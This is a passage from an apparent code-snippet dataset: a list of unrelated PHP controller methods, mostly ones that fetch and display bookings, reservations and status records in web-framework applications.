{\n\t\t\tSession::forget('bookings');\n\t\t}\n\t\tif (\\Request::has('listing_id')) {\n\t\t\tif (\\Request::get('listing_id') == 0) {\n\t\t\t\tSession::forget('bookings.listing_id');\n\t\t\t} else {\n\t\t\t\tSession::put('bookings.listing_id', \\Request::get('listing_id'));\n\t\t }\n\t\t}\n\n $timeOptions = [\n 'future' => 'future reservations',\n 'past' => 'past reservations'\n ];\n\n\t\tif (\\Request::has('time') && isset($timeOptions[\\Request::get('time')])) {\n\t\t\tSession::put('bookings.time', \\Request::get('time'));\n\t\t}\n\n\t\t$bookingQuery = Booking::query()->where('booking_status_id','=',1)->orderBy('arrival_date');\n if (Session::has('bookings.listing_id')) {\n $bookingQuery->where('listing_id', '=', Session::get('bookings.listing_id'));\n }\n if (Session::has('bookings.time')) {\n $bookingQuery->ofTime(Session::get('bookings.time'));\n }\n\n\t\t$bookings = $bookingQuery->get();\n\t\t$listings = Listing::query()->orderBy('name')->get(['name','id'])->pluck('name', 'id');\n\t\t$listing_id = Session::get('bookings.listing_id');\n $time = Session::get('bookings.time');\n\n\t\treturn \\View::make('bookings.index', compact('bookings','listings','listing_id','timeOptions','time'));\n\t}", "public function booking()\n {\n $booking_active = true;\n $branchs = $this->branch_services->all('asc');\n $type_services = $this->type_services->all('asc');\n\n return view('client.booking', compact('branchs', 'type_services', 'booking_active'));\n }", "public function showBookings()\n {\n return $this->render('account/bookings.html.twig');\n }", "public function index()\n {\n $this->authorize(StatusesPolicy::PERMISSION_LIST);\n\n $statuses = BackupStatuses::all();\n\n $this->setTitle($title = trans('backups::statuses.titles.monitor-statuses-list'));\n $this->addBreadcrumb($title);\n\n return $this->view('admin.statuses.index', compact('statuses'));\n }", "public function index()\n {\n $bookings = Booking::with('user','barber','location','details','status','canceled_by_user')->get();\n if (request()->ajax()){\n return DataTables::of($bookings)\n ->addIndexColumn()\n ->editColumn('user', function(Booking $booking) {\n return ucfirst($booking->user->name);\n })\n ->editColumn('barber', function(Booking $booking) {\n return ucfirst($booking->barber->name);\n })\n ->editColumn('status', function(Booking $booking) {\n $classname = 'dark';\n if($booking->status->title == 'Not Set'){\n return '<span class=\"badge badge-'.$classname.'\">'.$booking->status->title.'</span>';\n }else{\n return '<span class=\"badge badge-'.$booking->status->color.'\">'.$booking->status->title.'</span>';\n }\n })\n ->editColumn('canceled_by', function(Booking $booking) {\n if (trim($booking->status->title) == 'Canceled'){\n return ucfirst($booking->canceled_by_user->name);\n }else{\n return '<span class=\"badge badge-'.$booking->status->color.'\">'.$booking->status->title.'</span>';\n }\n })\n ->rawColumns(['status', 'actions','canceled_by'])\n ->toJson();\n }\n\n //rander view\n return view(' bookings.index');\n }", "public function index()\n {\n $bookings = Booking::getBookedRooms();\n return view('backend.bookings.index')\n ->with('bookings', $bookings);\n }", "public function index() {\n // Get also the room type data for the room\n // Get also the name for the user from each booking\n $bookings = Booking::with( [ 'room.roomType', 'users:name' ] )->paginate( 20 );\n\n return view( 'bookings.index' )->with( 'bookings', $bookings );\n }", "public function availabilityAction()\n {\n // Append breadcrumbs\n $this->view->getBreadcrumbBag()->addOne('Cars', 'Rentcar:Admin:Car@indexAction')\n ->addOne('Bookings', 'Rentcar:Admin:Booking@indexAction')\n ->addOne('Availability graph');\n\n // Use datetime from query string if available, otherwise use current date and time\n $datetime = $this->request->getQuery('datetime', TimeHelper::getNow());\n\n return $this->view->render('booking/availability', [\n 'cars' => $this->getModuleService('bookingService')->fetchCars($datetime),\n 'datetime' => $datetime\n ]);\n }", "public function index()\n {\n $bookings = Booking::all();\n return view('booking.index', compact('bookings'));\n }", "public function index()\n {\n $appointments = Appointment::where('statuses_id', 1)->get();\n\n return view('reservations.index', compact('appointments'));\n }", "public function index()\n {\n $bookings = $this->service->all();\n\n return view('bookings.index')\n ->withBookings($bookings);\n }", "public function index() {\n $attr = [ \n 'title' => trans('app.orders')\n ];\n if(!Entrust::can(['read_order'])){\n $attr += [ \n 'unauthorized_message' => trans('app.unauthorized_message')\n ];\n return view('backend.auth.unauthorized', compact('attr'));\n }\n $page = Input::get('page', 1);\n $perPage = Config::get('holiday.per_page');;\n $pagiData = $this->booking->paginate($page, $perPage, true);\n\n $bookings = new LengthAwarePaginator($pagiData->items, $pagiData->totalItems, $perPage, $page, [\n 'path' => Paginator::resolveCurrentPath()\n ]);\n\n $bookings->setPath(\"\");\n\n return view('backend.booking.index', compact('bookings'));\n }", "public function actionIndex() {\n $searchModel = new BookingsSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function index()\n {\n $statuses = $this->status->all();\n\n return View::make('statuses.index')\n ->with('statuses', $statuses);\n }", "public function index()\n {\n $statuses = Status::withCount('tickets')->get();\n\n if (LaravelVersion::min('5.3.0')) {\n $statuses_list = $statuses->pluck('name', 'id')->toArray();\n } else {\n $statuses_list = $statuses->lists('name', 'id')->toArray();\n }\n\n return view('panichd::admin.status.index', compact('statuses', 'statuses_list'));\n }", "public function index()\n {\n $permission = $this->checkPermission();\n if (is_array($permission)) {\n $this->_handleResponse($permission);\n return;\n }\n\n $fromDate = new Time($this->request->query('from'));\n $toDate = new Time($this->request->query('to'));\n if ($fromDate > $toDate) {\n $result = $this->_getResult('error', 400, $this->msg['booking_date_error']);\n $this->_handleResponse($result);\n return;\n }\n\n $query = $this->Bookings->find()\n ->contain(['Customers', 'Services'])\n ->order(['Bookings.date' => 'ASC', 'Bookings.start_time' => 'ASC'])\n ->where([\n 'Customers.shops_id' => $permission->shops_id,\n 'Bookings.date >=' => $fromDate,\n 'Bookings.date <=' => $toDate\n ]);\n\n $bookings = array();\n if ($query->count() > 0) {\n foreach ($query as $row) {\n $tmp = array(\n 'id' => $row->id,\n 'date' => $row->date,\n 'start_time' => $row->start_time,\n 'end_time' => $row->end_time,\n 'status' => $row->status,\n 'note' => $row->note,\n 'customer' => [\n 'id' => $row->customer->id,\n 'first_name' => $row->customer->first_name,\n 'last_name' => $row->customer->last_name\n ]\n );\n $services = array();\n foreach ($row->services as $sv) {\n $services[] = array(\n 'id' => $sv->id,\n 'name' => $sv->name\n );\n }\n $tmp['services'] = $services;\n\n $bookings[] = $tmp;\n }\n }\n\n $this->set(compact('bookings'));\n $this->set('_serialize', 'bookings');\n }", "public function index()\n {\n //\n $user = Auth::user();\n $booking = Booking::query()->where('user_id', $user->id)\n ->where('isCheckedIn', false)\n ->orderBy('booking_time', 'ASC')->paginate(5);\n return view('user.booking.index', compact('booking'));\n }", "public function show(Booking $booking)\n {\n //\n }", "public function show(Booking $booking)\n {\n //\n }", "public function show(Booking $booking)\n {\n //\n }", "public function show(Booking $booking)\n {\n //\n }", "public function show(Booking $booking)\n {\n //\n }", "public function listing_status(){\n $this->checkLogin();\n $res = $this->db->where('company_id',$this->session->company_id)->get('company_listings');\n $data['members'] = $res->result_array();\n $this->load->view('CompanyViews/listing-status',$data);\n }", "public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Status::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function index()\n\t{\n\t\t$bookings = Booking::all();\n\n\t\treturn View::make('bookings.index', compact('bookings'));\n\t}", "public function index()\n {\n //\n $data['datas'] = ShipmentStatus::paginate(10);\n return view('admin.shipmentstatuses.index', $data);\n }", "function listOrderStatus() {\n\t\tglobal $HTML;\n\t\tglobal $page;\n\n\t\t$_ = '';\n\n\t\t// only show orders if user has access\n\t\tif($page->validatePath(\"/janitor/admin/shop/order/list\")) {\n\n\t\t\tinclude_once(\"classes/shop/supershop.class.php\");\n\t\t\t$model = new SuperShop();\n\n\t\t\t$_ .= '<div class=\"orders\">';\n\t\t\t$_ .= '<h2>Order status</h2>';\n\n\n\t\t\tif($model->order_statuses) {\n\t\t\t\t$_ .= '<ul class=\"orders\">';\n\t\t\t\tforeach($model->order_statuses as $order_status => $order_status_name) {\n\t\t\t\t\t$_ .= '<li class=\"'.superNormalize($order_status_name).'\">';\n\t\t\t\t\t$_ .= '<h3>';\n\t\t\t\t\t$_ .= '<a href=\"/janitor/admin/shop/order/list/\"'.$order_status.'\">'.$order_status_name.'</a> ';\n\t\t\t\t\t$_ .= '<span class=\"count\">'.$model->getOrderCount(array(\"status\" => $order_status)).'</span>';\n\t\t\t\t\t$_ .= '<h3>';\n\n\t\t\t\t\t$_ .= '</li>';\n\t\t\t\t}\n\t\t\t\t$_ .= '</ul>';\n\t\t\t}\n\n\t\t\t$_ .= '</div>';\n\t\t}\n\n\t\treturn $_;\n\t}", "public function index()\n {\n \n $client = new Client([\"base_uri\" => \"https://evening-tundra-69683.herokuapp.com\"]);\n // $client = new Client([\"base_uri\" => \"localhost:3000\"]);\n\n $response = $client->request(\"GET\", \"/nonAdmin/bookings\", [\n \"headers\" => [\"Authorization\" => Session::get(\"token\")],\n ]);\n\n\n $result = json_decode($response->getBody());\n $vehicles = $result->vehicles;\n $trips = $result->trips;\n $bookings = $result->bookings;\n\n return view(\"nonAdmin.booking_index\", compact('vehicles', 'trips', 'bookings'));\n }", "public function index()\n {\n return view('statuses.index', ['statuses' => \\App\\Status::orderBy('id')->get()]);\n }", "public function index() \n\t{\n\t\t//\n\t\treturn View::make('booking');\n\t}", "public function index()\n {\n $rooms = Room::get();\n $bookings = Booking::orderBy('id', 'asc')->get();\n return view('bookings.index',['bookings' => $bookings,'rooms' => $rooms,'current' => 'bookings']);\n }", "public function list()\n {\n $coursestudentstatus = Coursestudentstatus::orderBy('no', 'asc')->paginate(10);\n return view('coursestudentstatus.list', compact('coursestudentstatus'));\n }", "public function index()\n {\n $bookings = Booking::all()->sortByDesc('created_at')->forPage(0, 20);\n return $bookings;\n }", "public function getStatusesList(){\n return $this->_get(1);\n }", "public function show_list()\n {\n $this->output('Workstatus/v_workstatus_ajax');\n }", "public function index()\n {\n //$bookings = Booking::orderBy('title', 'desc')->get();\n $bookings = Booking::orderBy('created_at', 'desc')->paginate(10);\n return view('bookings.index')->with('bookings', $bookings);\n }", "public function bookings(Request $request)\n {\n return view('agent.booking.index', [\n 'title' => 'Booking Info',\n 'seo_meta' => '',\n 'all_booking' => Auth::user()->bookings()->orderBy('id', 'desc')->get(),\n 'cancelllations' => Cancellation::all()->keyBy('booking_id'),\n ]);\n }", "public function index()\n {\n return response()->json(Booking::all());\n }", "public function index()\n {\n $this->is_admin();\n\n $bookings = DB::table('reservations')\n ->join('users', 'reservations.userID', '=', 'users.userID')\n ->join('hotels', 'reservations.hotelID', '=', 'hotels.hotelID')\n ->select('reservations.*', 'users.name', 'hotels.hotelType')\n ->get();\n\n return view('admin.reserve', compact('bookings'));\n }", "public function actionIndex()\n {\n $searchModel = new BookSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams, Book::STATUS_APPROVED);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function listsstatusget()\r\n {\r\n $response = Status::all();\r\n return response()->json($response,200);\r\n }", "public function index()\n {\n $pregnancyStatuses = PregnancyStatus::paginate();\n\n return PregnancyStatusResource::collection($pregnancyStatuses);\n }", "public function index()\n {\n $apstatus = ApplicationStatus::all();\n\n return view('admin.application-status.index',compact('apstatus')); \n }", "public function index() {\n //\n $status = new StatusImpl();\n $listStatus = $status->listAllStatus();\n \n $data = array(\n 'title' => 'POP Shop - New Payment Status',\n 'page_title' => 'Add Payment Status',\n 'listStatus' => $listStatus,\n );\n \n return View::make('status.index2', $data)\n ->nest('bootstrap', 'asset.config_common')\n ->nest('menus','asset.menus');\n }", "public function index()\n {\n $this->authorize('viewAny', Status::class);\n return Status::all();\n }", "public function bookingActive()\n\t{\n\t\t$ch = new Curl();\n\t\t\n\t\t$this->headers['Authorization'] = 'Bearer ' . $this->authToken;\n\t\t\n\t\t$data = [];\n\t\t\n\t\treturn $ch->get(GojekID::BASE_ENDPOINT . Action::bookingActive, $data, $this->headers)->getResponse();\n\t}", "public function index()\n {\n $taskStatuses = TaskStatus::paginate(10);\n return view('task_statuses.index', [\n 'taskStatuses' => $taskStatuses,\n 'initIteration' => ($taskStatuses->currentPage() - 1) * $taskStatuses->perPage()\n ]);\n }", "public function index()\n\t{\n\t\tif(!Input::has('client_name')) App::abort(404); // only showing client bookings atm\n \n $clients = Client::where('name', '=', Input::get('client_name'))->get();\n \n if ($clients->isEmpty()) {\n return $this->reply(['error' => 'Client not found']);\n }\n \n $bookings = new Collection();\n \n foreach($clients as $client) {\n \n $client_bookings = $client->bookings->filter(function($booking){\n return $booking->deleted == 0 && $booking->status == \\Booking::STATUS_BOOKING;\n });\n \n $bookings = $bookings->merge($client_bookings);\n }\n \n return $this->reply(['bookings' => $bookings]);\n\t}", "public function index()\n {\n $data = CallStatus::all();\n\n return $this->showAll($data,CallStatus::class);\n }", "public function hotel_book_status(Request $request)\n {\n //dd($request->all());\n $bref = $request->bref;\n $status = new Client();\n $status_res= $status->request('GET',$this->hotel_url.'bookings/'.$bref.'?type=GRN',[\n 'headers' => [\n 'Content-Type' => 'application/json',\n 'api-key' => $this->hotel_key,\n 'Accept' => 'application/json',\n 'Accept-Encoding' => 'application/json'\n ]\n \n ]);\n\n $response = $status_res->getBody()->getContents();\n $status_res = json_decode($response,true);\n return view('frontend.pages.booking_detail' , compact('status_res','bref') );\n }", "public function show($id)\n {\n $bookingStatus = BookingStatus::findOrFail($id);\n\n return view('booking_status.show', compact('bookingStatus'));\n }", "public function index()\n {\n $iracstatus = new IracStatus;\n $iracstatuses = $iracstatus\n ->where('active','=',1)\n ->where('approved','=',1)\n ->get();\n\n // load the view and pass the nerds\n return view('iracstatus.index')\n ->with('iracstatuses', $iracstatuses);\n }", "public function index()\n {\n $books = Book::where('isApproved', true)->paginate(25);\n return BookResource::collection($books);\n }", "public function viewBookingsAction() {\n\t\t// check if user is logged in and fetch user's entity\n\t\t$loggedInUser = $this->_checkAndRedirect ();\t\t\n\t\n\t\t$trips = $this->_getAllTrips($loggedInUser);\n\t\tif (null !== $trips) {\n\t\t $messages = $this->flashMessenger()->getMessages();\n\t\t\treturn array (\n\t\t\t\t\t\"trips\" => $trips,\n\t\t\t \"messages\" => $messages,\n\t\t\t);\n\t\t} else { // there must be some internal error if $bookings is really null.\n\t\t\t$this->flashMessenger ()->clearMessages ();\n\t\t\t$this->flashMessenger ()->addErrorMessage ( IControllerMessages::ERROR_BOOKING_OVERVIEW );\n\t\t\t$this->redirect ()->toRoute ( IRouteStore::BOOK_ERROR );\n\t\t}\n\t}", "public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }", "public function index()\n {\n $attstatuses = AttStatus::getAllAttStatus();\n return AttStatusResource::collection($attstatuses);\n }", "public function index() {\n $data['title'] = 'All Availability';\n $this->load->view('availability-management/index', $data);\n }", "public function index()\n {\n //$prospectstatuses = $this->prospectstatus->all();\n\n return view('prospects::admin.prospectstatuses.index', compact(''));\n }", "public function index()\n\t{\n $statuses = $this->statusRepository->getFeedForUser(Auth::user());\n\n\t\treturn View::make('statuses.index',compact('statuses'));\n\t}", "public function index()\n {\n $airports = Airport::all();\n return view('frontend.booking',compact('airports'));\n }", "public function index()\n {\n $Statusing = new Status;\n\n $Status = $Statusing->all();\n \n return $Status;\n \n }", "public function index()\n {\n return Reservation::with('customer','paypal_payments')->Where('status','Check in')->orWhere('status','Reserved')->get();\n }", "public function show(Status $status)\n {\n //\n }", "public function show(Status $status)\n {\n //\n }", "public function show(Status $status)\n {\n //\n }", "public function index()\n {\n\n $statusRepo = new StatusRepository();\n $out = $statusRepo->getStatusAll();\n return $this->respondWithData($out);\n }", "public function index()\n {\n return view('admin.verification_statuses.index')\n ->with('verificationStatuses', VerificationStatus::paginate(15));\n }", "public function listing() {\n check_access($this->session->userdata('role_id'),3);\n \n $data = array();\n $data['title'] = \"Day Listings\";\n $data['content'] = \"admin/dayopenclose/listing\";\n $this->load->view(ADMIN_BODY, $data);\n }", "public function index()\n {\n $this->authorize('viewAny', Status::class);\n\n $status = Status::all();\n\n return new StatusCollection($status);\n\n }", "public function index(): object\n {\n $booking = $this->bookingRepository->all();\n\n return $this->sendResponse($booking->toArray(), 'Bookings retrieved successfully.');\n }", "public function index()\n {\n $auth=Auth::user()->id;\n $clientsID='clients.id';\n $cleanersID='cleaners.id';\n $client=\\App\\Client::whereId($auth)->first();\n $cleaner=\\App\\Cleaner::whereId($auth)->first();\n\n $bookings=DB::table('bookings')\n ->join('clients','clients.id','=','bookings.client_id')\n ->join('cleaners','cleaners.id','=','bookings.cleaner_id')\n ->join('vehicules','vehicules.id','=','bookings.vehicule_id')\n ->where(Auth::guard('client')->user()?$clientsID:$cleanersID,\n Auth::guard('client')->user()?$client->id:$cleaner->id)\n // ->where('bookings.booking_status','!=','cancelled')\n ->select('bookings.*','cleaners.name as cleanerName','clients.name as clientName','vehicules.name as vehiculeName','vehicules.notes as vehiculeNotes','vehicules.url')\n ->orderBy('id', 'asc')\n ->get();\n\n return view('bookings.show_bookings',compact('bookings'));\n }", "public function index()\n {\n $clients = Client::all();\n $cars = Car::where('available', 1)->get();\n return view('bookings.index', compact('cars', 'clients'));\n }", "public function show(status $status)\n {\n //\n }", "public function status($status = 'open')\n {\n switch ($status)\n {\n case 'expired':\n $this->layout->set('quotes', $this->mdl_quotes->is_expired()->paginate()->result());\n break;\n case 'invoiced':\n $this->layout->set('quotes', $this->mdl_quotes->is_invoiced()->paginate()->result());\n $this->layout->set('show_invoice_column', TRUE);\n break;\n default:\n $this->layout->set('quotes', $this->mdl_quotes->is_open()->paginate()->result());\n break;\n }\n\n $this->layout->buffer('content', 'quotes/index');\n $this->layout->render();\n }", "public function index()\n {\n $logstatus = LogStatus::get();\n $users = User::get();\n $receivecountries = Country::whereIn('id', ZoneCountry::pluck('country_id')->toArray())->get();\n\n return view('upx.bookinghistory.index', compact('logstatus', 'users', 'receivecountries'));\n }", "public function index()\n {\n $hotel = HotelBooking::paginate(10);\n return view(\"admin.hotel.list\",compact(\"hotel\"));\n }", "public function index()\n {\n $bookings = Booking::all();\n $cars = Car::all();\n return view('pages.booking.index', compact('bookings', 'cars'));\n \n }", "public function statusAction(Application $app, Request $request, $key)\n {\n if(!$app['config']['show_status'] || $key != $app['config']['status_key'])\n\t\t{\n\t\t\t$app['monolog']->addAlert(\"Unauthorized access to status page\");\n\t\t\tthrow new Exception(\"Nothing to see here.\");\n\t\t}\n \n\n $offset = $request->get('page', 0);\n $limit = $app['config']['status_links_per_page'];\n // DB access\n try\n {\n\t\t\t$links = $app['chert']->getListing($offset, $limit);\n\t\t\t\n\t\t\t// Add hashes to liste\n\t\t\t$links = array_map(function($item) use ($app) {\n\t\t\t\t$item['hash'] = $app['hash_service']->getHash($item['id']);\n\t\t\t\treturn $item;\n\t\t\t}, $links);\n\n\t\t\treturn $app['twig']->render('status.twig', array(\n\t\t\t\t'count' => $app['chert']->countLinks(),\n\t\t\t\t'links' => $links,\n\t\t\t));\n }\n catch(\\PDOException $err)\n {\n\t\t\t$app['monolog']->addError(\"Error while retrieving listing (offset: ${offset}, limit: ${limit}) :\".$err->getMessage());\n throw new Exception(\"An error occured while processing the list.\");\n }\n\n }", "public function reservation_status(Request $request){\n $Reservation_Status = DB::table('reservation_status')->orderBy('id','desc')->paginate(10);\n return view('admin.reservation.reservation_status',compact('Reservation_Status'));\n }", "public function index()\n {\n return view('administrator.PropertyStatusView.index')->with('propertyStatus',PropertyStatus::all());\n }", "public function index()\n {\n //$bookings = Booking::orderBy('book_start', 'asc')->paginate(10);\n //return view('bookings.index')->with('bookings', $bookings);\n\n $user_id = auth()->user()->id;\n $user = User::find($user_id);\n return view('bookings.index')->with('bookings', $user->bookings);\n }", "public function index()\n {\n $this->authorize('index', Booking::class);\n\n return $this->respond(\n 'Data Loaded Successfully',\n fractal(\n (new IndexResponse(Booking::with('customPackage')))->execute()\n , new BookingTransformer()\n )\n );\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $postStatuses = $em->getRepository('BlogBundle:PostStatus')->findAll();\n\n return $this->render('poststatus/index.html.twig', array(\n 'postStatuses' => $postStatuses,\n ));\n }", "public function index()\n {\n $bookings=DB::table('bookings')->select('bookings.id','bookings.created_at','houses.id as house_id','houses.name as house_name','rooms.number','rooms.price','bookings.status','bookings.date_from','bookings.date_to','users.name','users.last_name','bookings.mode','bookings.message','bookings.note','managers.id as manager_id','users.id as user_id')\n ->join('users','users.id','=','bookings.user_id')\n ->join('rooms','rooms.id','=','bookings.room_id')\n ->join('houses', 'houses.id','=','rooms.house_id')\n ->join('managers','managers.id', '=', 'houses.manager_id')\n ->latest()\n ->paginate(10);\n\n foreach ($bookings as $booking)\n {\n $booking->manager_info = DB::table('managers')\n ->select('users.name', 'users.phone')\n ->join('users','users.id','=','managers.user_id')\n ->where('managers.id','=',$booking->manager_id)\n ->get()->first();\n $booking->rooms_data=DB::table('rooms')->select('id','number')->where('house_id','=',$booking->house_id)->get();\n\n }\n // dd($status);\n //dd($bookings);\n\n return view('bookings.index',[\n 'bookings' => $bookings,\n 'houses' => House::all(),\n 'status' => $this->STATUS\n ]);\n }", "public function getorderStatus()\n\t\t{\n\t\t\t$this->layout = \"index\";\n\t\t\t$this->set('title', 'Status (Linnworks API)');\n\n\t\t}", "public function getStatuses() {\n\t}", "public function index()\n {\n if(Auth::check()){\n $bookings = bookings::orderBy('id','DESC')->get();\n return view('dashboard.booking.index', compact('bookings'));\n }else{\n return redirect(route('login'));\n }\n\n }", "public function index()\n {\n $statuses = Status::all();\n $titles = Title::all();\n $editions = EditionTitle::all();\n $articles = ArticleEdition::all();\n return view('statuses.index', compact('statuses', 'titles', 'editions', 'articles'));\n }", "function displayStatusList($data) {\n\t\t\n\t\t$display = '';\n\t\t\n\t\tforeach($data as $value) {\n\t\t\t$id = $value['id'];\n\t\t\t$from_id = $value['from_id'];\n\t\t\t$from_name = $value['from_name'];\n\t\t\t$type = $value['type'];\n\t\t\t$message = $value['message'];\n\t\t\t$picture = $value['picture'];\n\t\t\t$link = $value['link'];\n\t\t\t$source = $value['source'];\n\t\t\t$name = $value['name'];\n\t\t\t$caption = $value['caption'];\n\t\t\t$description = $value['description'];\n\t\t\t$icon = $value['icon'];\n\t\t\t$created = $value['created'];\n\t\t\t$attribution = $value['attribution'];\n\t\t\t$likes_nb = $value['likes_nb'];\n\t\t\t$comments = $value['comments'];\n\t\t\t$comments_nb = $value['comments_nb'];\n\t\t\t$action_comment = $value['action_comment'];\n\t\t\t$picture_url = $value['picture_url'];\n\t\t\t$profile_url = $value['profile_url'];\n\t\t\t\n\t\t\t$display .= '<table id=\"itemBox\" value=\"'.$id.'\" border=0 style=\"padding-top: 0px;padding-bottom: 10px;border-bottom: 1px solid #cfcfcf;\" width=100% cellpadding=0 cellspacing=0><tr>';\n\t\t\t\n\t\t\t$display .= '<td width=20 valign=\"top\">';\n\t\t\t$display .= '<a href=\"'.$profile_url.'\" title=\"'.$from_name.'\" target=\"_blank\"><img src=\"'.$picture_url.'\" style=\"padding-right:10px;\"></a>';\n\t\t\t$display .= '</td>';\n\t\t\t\n\t\t\t$display .= '<td valign=\"top\">';\n\t\t\t\t\n\t\t\t\t$display .= '<table width=100% cellpadding=0 cellspacing=0><tr><td>';\n\t\t\t\t$display .= '<p style=\"padding-bottom:8px;\"><a href=\"'.$profile_url.'\" title=\"'.$from_name.'\" target=\"_blank\">'.$from_name.'</a> ';\n\t\t\t\tif($message!='') $display .= ''.$message.'';\n\t\t\t\t$display .= '</p>';\n\t\t\t\t\t\t\n\t\t\t\tif($type=='status') {\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\telse if($type=='photo') {\n\t\t\t\t\t$display .= '<a href=\"'.$link.'\" target=\"_blank\"><img src=\"'.$picture.'\" style=\"padding-right:10px;\" align=\"left\"></a>';\n\t\t\t\t\tif($name!='') $display .= '<a href=\"'.$link.'\" target=\"_blank\">'.$name.'</a><br>';\n\t\t\t\t\tif($caption!='') $display .= '<small><span>'.$caption.'</a></small>';\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\telse if($type=='link') {\n\t\t\t\t\tif($picture!='') $display .= '<a href=\"'.$link.'\" target=\"_blank\" title=\"'.$name.'\"><img src=\"'.$picture.'\" style=\"padding-right:10px;\" align=\"left\"></a>';\n\t\t\t\t\t$display .= '<a href=\"'.$link.'\" target=\"_blank\" title=\"'.$caption.'\">'.$name.'</a><br>';\n\t\t\t\t\tif($caption!='') $display .= '<small><span>'.$caption.'</a></small><br>';\n\t\t\t\t\tif($description!='') $display .= '<small><span>'.$description.'</a></small>';\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\telse {\n\t\t\t\t\t\n\t\t\t\t\t$display .= '<div id=\"domImage\" class=\"videoPlayBox\" style=\"float:left;\" >';\n\t\t\t\t\t\t$display .= '<a href=\"'.$link.'\" target=\"_blank\" title=\"'.$name.'\">';\n\t\t\t\t\t\t\tif($picture!='') {\n\t\t\t\t\t\t\t\t$display .= '<img src=\"'.$picture.'\" width=80 height=55 style=\"padding-right:10px;\"/>';\n\t\t\t\t\t\t\t\t$display .= '<span class=\"play\"></span>';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t$display .= '</a>';\n\t\t\t\t\t$display .= '</div>';\n\t\t\t\t\t\n\t\t\t\t\tif($name!='') $display .= '<a href=\"'.$link.'\" target=\"_blank\">'.$name.'</a><br>';\n\t\t\t\t\tif($description!='') $display .= '<small><span>'.$description.'</span></small>';\n\t\t\t\t}\n\t\t\t\t$display .= '</td></tr>';\n\t\t\t\t\n\t\t\t\t$display .= '<tr><td style=\"padding-top:5px;\">';\n\t\t\t\tif($icon!='') $display .= '<img src=\"'.$icon.'\"> ';\n\t\t\t\t$display .= '<small>';\n\t\t\t\t$display .= '<a href=\"'.$action_comment.'\" target=\"_blank\" title=\"'.$created.'\" class=\"grey prettyDate\">'.$created.'</a>';\n\t\t\t\t//if($attribution!='') $display .= '<span> via '.$attribution.'</span>';\n\t\t\t\t$display .= '</small>';\n\t\t\t\t\n\t\t\t\t//$display .= ' - <small><a id=\"openCloseAddComment\" href=\"#\">Comment</a></small> - <a href=\"comments.php\" rel=\"external\" data-transition=\"slide\">gogogo</a>';\n\t\t\t\t\n\t\t\t\t// ##################### //\n\t\t\t\t// START Comment Section //\n\t\t\t\t// ##################### //\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\t$commentCriteria = array();\n\t\t\t\t$commentCriteria['resourceid'] = $id;\n\t\t\t\t$commentCriteria['commentCount'] = $comments_nb;\n\t\t\t\t$commentCriteria['collapse'] = 1; //comments collapsed\n\t\t\t\t$commentCriteria['hideOnAction'] = 1;\n\t\t\t\t\n\t\t\t\t//comments display\n\t\t\t\t$display .= '<div id=\"domAddCommentBox\" style=\"padding-top:10px;display:none;\">';\n\t\t\t\t\t$display .= $this->displayAddComment($commentCriteria);\n\t\t\t\t$display .= '</div>';\n\t\t\t\t$display .= '<div style=\"padding-top:5px;\">';\n\t\t\t\t\t$display .= $this->displayComments($commentCriteria);\n\t\t\t\t$display .= '</div>';\n\t\t\t\t*/\n\t\t\t\t\n\t\t\t\t// ################### //\n\t\t\t\t// END Comment Section //\n\t\t\t\t// ################### //\n\t\t\t\t\n\t\t\t\t$display .= '</td></tr></table>';\n\t\t\t\t\n\t\t\t$display .= '</td>';\n\t\t\t$display .= '</tr></table><br>';\n\t\t}\n\t\t\n\t\treturn $display;\n\t}", "public function getBookingStatus()\n {\n return isset($this->BookingStatus) ? $this->BookingStatus : null;\n }", "public function index()\n {\n return view('listings.index');\n }", "public function index()\n\n {\n \n\n $bookings = DB::table('bookings')\n ->leftjoin('nations AS A','A.id','=','bookings.nation_id')\n ->leftjoin('c_routes AS B','B.id','=','bookings.route_id')\n ->leftjoin('cities AS C','C.id','=','B.to')\n ->leftjoin('cities AS D','D.id','=','B.from')\n ->select('bookings.*','A.type as ntype','C.name as fromname','D.name as toname')\n ->get();\n // $bookings = DB::table('bookings')\n // ->join('customers', 'bookings.id', '=', 'customers.booking_id')\n // ->select('bookings.*')\n // ->get();\n //$bookings = Booking::all();\n // $c_route = C_route::all(); //Mentor is Model class\n\n return view('bookings.index',compact('bookings'));\n }", "public function indexConfirmedBookings()\n {\n $bookings=DB::table('bookings')->select('bookings.id','bookings.created_at','houses.id as house_id','houses.name as house_name','rooms.number','rooms.price','bookings.status','bookings.date_from','bookings.date_to','users.name','users.last_name','bookings.mode','bookings.message','bookings.note','managers.id as manager_id','users.id as user_id')\n ->join('users','users.id','=','bookings.user_id')\n ->join('rooms','rooms.id','=','bookings.room_id')\n ->join('houses', 'houses.id','=','rooms.house_id')\n ->join('managers','managers.id', '=', 'houses.manager_id')\n ->where('bookings.status','=','5')\n ->orderBy('bookings.date_from')\n ->latest()\n ->paginate(10);\n\n foreach ($bookings as $booking)\n {\n $booking->manager_info = DB::table('managers')\n ->select('users.name', 'users.phone')\n ->join('users','users.id','=','managers.user_id')\n ->where('managers.id','=',$booking->manager_id)\n ->get()->first();\n $booking->rooms_data=DB::table('rooms')->select('id','number')->where('house_id','=',$booking->house_id)->get();\n\n }\n // dd($status);\n //dd($bookings);\n\n return view('bookings.index',[\n 'bookings' => $bookings,\n 'houses' => House::all(),\n 'status' => $this->STATUS\n ]);\n }", "public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }", "public function viewBooking($id)\n\t{\n\t\t// Checks for are you the traveller of this booking??? otherwise 403 MF. \n\t\t$booking = Booking::find($id);\n\t\t\n\t\t$listing = Listing::where('id', '=', 